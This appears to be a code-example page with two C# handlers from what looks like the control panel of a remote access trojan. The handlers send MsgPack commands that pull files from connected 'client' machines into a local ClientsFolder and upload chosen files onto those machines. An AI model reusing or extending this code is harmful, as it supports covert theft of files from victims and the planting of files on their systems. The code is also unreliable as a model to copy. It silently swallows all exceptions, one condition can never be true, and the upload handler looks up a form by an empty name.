예제 #1
0
 private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try
     {
         if (listView1.SelectedItems.Count > 0)
         {
             if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)))
             {
                 Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID));
             }
             foreach (ListViewItem itm in listView1.SelectedItems)
             {
                 if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2)
                 {
                     return;
                 }
                 MsgPack msgpack = new MsgPack();
                 string  dwid    = Guid.NewGuid().ToString();
                 msgpack.ForcePathObject("Packet").AsString  = "fileManager";
                 msgpack.ForcePathObject("Command").AsString = "socketDownload";
                 msgpack.ForcePathObject("File").AsString    = itm.ToolTipText;
                 msgpack.ForcePathObject("DWID").AsString    = dwid;
                 ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
                 this.BeginInvoke((MethodInvoker)(() =>
                 {
                     FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                     if (SD == null)
                     {
                         SD = new FormDownloadFile
                         {
                             Name = "socketDownload:" + dwid,
                             Text = "socketDownload:" + Client.ID,
                             F = F,
                             DirPath = FullPath
                         };
                         SD.Show();
                     }
                 }));
             }
         }
     }
     catch { }
 }
예제 #2
0
 private void uPLOADToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (toolStripStatusLabel1.Text.Length >= 3)
     {
         try
         {
             OpenFileDialog O = new OpenFileDialog();
             O.Multiselect = true;
             if (O.ShowDialog() == DialogResult.OK)
             {
                 foreach (string ofile in O.FileNames)
                 {
                     FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""];
                     if (SD == null)
                     {
                         SD = new FormDownloadFile
                         {
                             Name = "socketUpload:" + Guid.NewGuid().ToString(),
                             Text = "socketUpload:" + C.ID,
                             F    = Program.form1,
                             C    = C
                         };
                         SD.dSize              = new FileInfo(ofile).Length;
                         SD.labelfile.Text     = Path.GetFileName(ofile);
                         SD.fullFileName       = ofile;
                         SD.label1.Text        = "Upload:";
                         SD.clientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile);
                         MsgPack msgpack = new MsgPack();
                         msgpack.ForcePathObject("Packet").AsString  = "fileManager";
                         msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
                         msgpack.ForcePathObject("ID").AsString      = SD.Name;
                         SD.Show();
                         ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
                     }
                 }
             }
         }
         catch { }
     }
 }